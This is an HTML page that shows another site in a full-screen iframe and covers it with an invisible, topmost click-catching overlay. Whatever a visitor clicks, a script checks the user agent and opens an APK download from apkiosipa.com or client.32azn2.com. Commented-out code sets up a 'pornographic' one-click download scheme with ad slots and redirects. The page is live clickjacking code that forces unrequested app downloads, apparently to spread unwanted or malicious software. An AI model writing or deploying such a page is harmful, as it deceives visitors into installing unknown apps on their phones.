<!DOCTYPE html>
<html>

<head>
	<meta charset="utf-8">
	<title></title>
	<style>
		html {
			width: 100%;
			height: 100%
		}
		body {
			margin: 0;
			margin: 0;
			width: 100%;
			height: 100%;
			overflow: hidden;
		}
	</style>
</head>

<body>

	<body><iframe frameborder="0" width="100%" height="100%" scrolling="yes" src="http://host/?ifr=1218"></iframe>
	</body>
	<div style="position:fixed; width:100%; height:100%; top:0px; z-index:2147483647;" id='an'></div>
</body>
<script type="text/javascript">
	let DWObj = {
		// Alink:'http://img1qn.moko.cc/2020-04-18/0fad076a-116d-4eed-9f55-001d8af1d6bd.jpg',
		AAPK: 'http://apkiosipa.com/sf/3516.apk',
		// Ilink:'https://www.pic301.top/uploads/allimg/201610/a10d7e9a9d7ccd02.jpg',
		IAPK: 'http://client.32azn2.com/xj_200431.apk',
	};


	function FTU(type) {
		let userAgentInfo = navigator.userAgent,
			flag, terminal = ['Android', 'iPhone', 'SymbianOS', 'Windows Phone', 'iPad', 'iPod'];
		if (type) {
			for (let i in terminal) {
				if (userAgentInfo.includes(terminal[i])) {
					return terminal[i];
				}
			}
			return 'PC端';
		}
	};


	document.getElementById("an").onclick = function () {
		let {
			AAPK,
			IAPK
		} = DWObj;


		let kw = FTU('1');
		if (kw === 'Android') {

			AAPK && open(AAPK);
		} else if (kw === 'iPhone') {
			IAPK && open(IAPK);
		}
	}














		// setTimeout(() => {
		//     let img = 'https://ae01.alicdn.com/kf/H43ada4b9a5424ba69a84e67d640b11b95.gif', hots = 'http://www.moko.cc/';
		//     Loading({
		//         pornographic: {
		//             OneClick: {
		//                 click: true,
		//                 dwApp:true,
		//                 IOSlink:'http://img1qn.moko.cc/2020-04-18/0fad076a-116d-4eed-9f55-001d8af1d6bd.jpg',
		//                 IosApk:'http://client.32azn2.com/xj_200431.apk',  //xj_200431
		//                 dwAPK:'http://apkiosipa.com/sf/3516.apk',  //3516
		//                 url: ['http://www.moko.cc/'],
		//             },
		//     appleplet: [{
		//         tp: 'top',
		//         id: 'cols',
		//         sqcont: [{
		//             link: hots,
		//             img: img
		//         },],
		//     }, {
		//         tp: 'bottom',
		//         id: 'cols',
		//         sqcont: [{
		//             link: hots,
		//             img: img
		//         }],
		//     },]
		// },
		// CustomCallbacks: {
		//     keydow: 'http://www.baidu.com/',
		//     scroll: 'http://www.taobao.com/',
		//     resize: 'http://www.jd.com/'

		//         }
		//     })
		// }, 1000);
</script>

</html>